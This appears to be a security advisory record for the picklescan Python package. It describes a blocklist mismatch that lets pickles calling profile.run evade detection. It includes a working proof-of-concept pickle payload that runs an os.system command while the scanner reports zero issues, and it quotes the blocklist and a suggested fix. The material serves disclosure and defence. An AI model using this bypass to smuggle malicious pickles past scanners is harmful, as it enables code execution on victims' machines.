{"id":"PYSEC-2026-455","summary":"PickleScan's profile.run blocklist mismatch allows exec() bypass","details":"## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n \n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n - Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n ### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n \n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system('id')\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n ```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n |--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n \n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n \n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`","aliases":["CVE-2026-53873","GHSA-7wx9-6375-f5wh"],"modified":"2026-07-01T20:22:59.991064Z","published":"2026-06-29T11:50:45.494556Z","references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53873"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"},{"type":"PACKAGE","url":"https://pypi.org/project/picklescan"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-7wx9-6375-f5wh"}],"affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.4"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.2","1.0.3"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-455.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}